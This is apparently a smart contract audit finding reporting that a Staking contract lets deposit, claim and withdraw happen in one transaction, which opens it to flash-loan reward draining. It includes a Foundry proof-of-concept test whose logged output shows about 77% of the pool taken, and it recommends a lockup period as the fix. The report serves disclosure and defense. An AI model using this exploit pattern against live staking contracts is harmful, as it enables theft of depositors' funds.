Summary
When staking via the Staking contract, users can deposit, withdraw and claim rewards all in the same transactions since none of the functions have any lockup period.
This leaves the staking contract vulnerable to FlashLoans where a malicious actor deposits a large amount, claims all available rewards and then withdraws.
Note, this is after the issue with deposits not working is fixed.
Vulnerability Details
Staking::deposit, Staking::withdraw and Staking::claim have no limitation with regards to lockup periods:
function deposit(uint _amount) external {
TKN.transferFrom(msg.sender, address(this), _amount);
updateFor(msg.sender);
balances[msg.sender] += _amount;
}
function withdraw(uint _amount) external {
updateFor(msg.sender);
balances[msg.sender] -= _amount;
TKN.transfer(msg.sender, _amount);
}
function claim() external {
updateFor(msg.sender);
WETH.transfer(msg.sender, claimable[msg.sender]);
claimable[msg.sender] = 0;
balance = WETH.balanceOf(address(this));
}
A malicious actor can simply flash loan a large amount of tokens, deposit them, claim the fees, withdraw the tokens and pay back the flash loan.
Coded POC:
Create a file test\Staking.t.sol with the following code:
pragma solidity ^0.8.19;
import "../src/Staking.sol";
import "../src/Beedle.sol";
import "forge-std/Test.sol";
contract WETH9 is ERC20 {
constructor () ERC20("WETH", "WETH") {}
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "WETH";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract StakingTest is Test {
Beedle public beedle;
WETH9 public weth;
Staking public staking;
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public user3 = makeAddr("user3");
function setUp() public {
beedle = new Beedle();
weth = new WETH9();
staking = new Staking(address(beedle), address(weth));
beedle.mint(user1, 1000e18);
beedle.mint(user2, 1000e18);
beedle.mint(user3, 1000e18);
vm.startPrank(user1);
beedle.approve(address(staking), 1000e18);
staking.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
beedle.approve(address(staking), 1000e18);
staking.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user3);
beedle.approve(address(staking), 1000e18);
staking.deposit(1000e18);
vm.stopPrank();
weth.mint(address(staking), 100e18);
}
function testFlashLoan() public {
address maliciousUser = makeAddr("maliciousUser");
beedle.mint(maliciousUser, 10000e18);
console.log("Malicious User before: ", weth.balanceOf(maliciousUser));
console.log("Staking Contract before:", weth.balanceOf(address(staking)));
vm.startPrank(maliciousUser);
beedle.approve(address(staking), 10000e18);
staking.deposit(10000e18);
staking.claim();
staking.withdraw(10000e18);
vm.stopPrank();
console.log("Malicious User after: ", weth.balanceOf(maliciousUser));
console.log("Staking Contract after:", weth.balanceOf(address(staking)));
}
}
and run it via forge test --match-test testFlashLoan -vv. Output will be:
Running 1 test for test/Staking.t.sol:StakingTest
[PASS] testFlashLoan() (gas: 228082)
Logs:
Malicious User before: 0
Staking Contract before: 100000000000000000000
Malicious User after: 76923076923076920000
Staking Contract after: 23076923076923080000
For this test we can see in the output that a malicious user has drained ~77% of all pool funds with one transaction.
Impact
Staking pool funds can be drained via FlashLoan
Tools Used
Manual analysis
Recommend Mitigation
Add a minimum lockup period for deposits; do not permit deposit, claim, withdraw to be done in the same transaction.
